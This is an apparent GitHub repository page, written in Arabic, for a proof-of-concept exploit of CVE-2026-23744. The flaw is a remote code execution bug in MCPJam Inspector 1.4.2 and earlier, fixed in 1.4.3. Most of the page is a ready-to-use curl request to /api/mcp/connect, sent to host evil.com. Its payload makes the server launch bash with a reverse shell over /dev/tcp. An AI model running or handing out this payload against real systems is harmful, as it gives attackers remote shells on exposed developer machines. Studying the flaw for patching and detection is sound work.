mrr0b0t19/cve-2026-23744-pocاستغلال إثبات المفهوم لثغرة CVE-2026-23744، وهي ثغرة تنفيذ كود عن بُعد في MCPJam Inspector. يوضح الاستغلال تنفيذ الكود عن بُعد عبر طلب HTTP مُصمَّم خصيصًا إلى نقطة النهاية /api/mcp/connect مع حمولة قشرة عكسية (reverse shell).
PoC حول ثغرة في MCP Server.
مؤتمت لجزء POST مع الـ body الصحيح.
/api/mcp/connect
curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/TUIP/TUPUERTO 0>&1"],"env":{}},"serverId":"pruebaxd"}'
MCPJam Inspector هي أول منصة تطوير محلية لخوادم MCP. الإصدارات 1.4.2 والإصدارات الأقدم عرضة لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE)، والتي تسمح للمهاجم بإرسال طلب HTTP مصمم خصيصًا يؤدي إلى تثبيت خادم MCP، مما يؤدي إلى حدوث RCE. ونظرًا لأن MCPJam Inspector يستمع افتراضيًا على 0.0.0.0 بدلاً من 127.0.0.1، يمكن للمهاجم تفعيل RCE عن بُعد عبر طلب HTTP بسيط. يحتوي الإصدار 1.4.3 على تصحيح.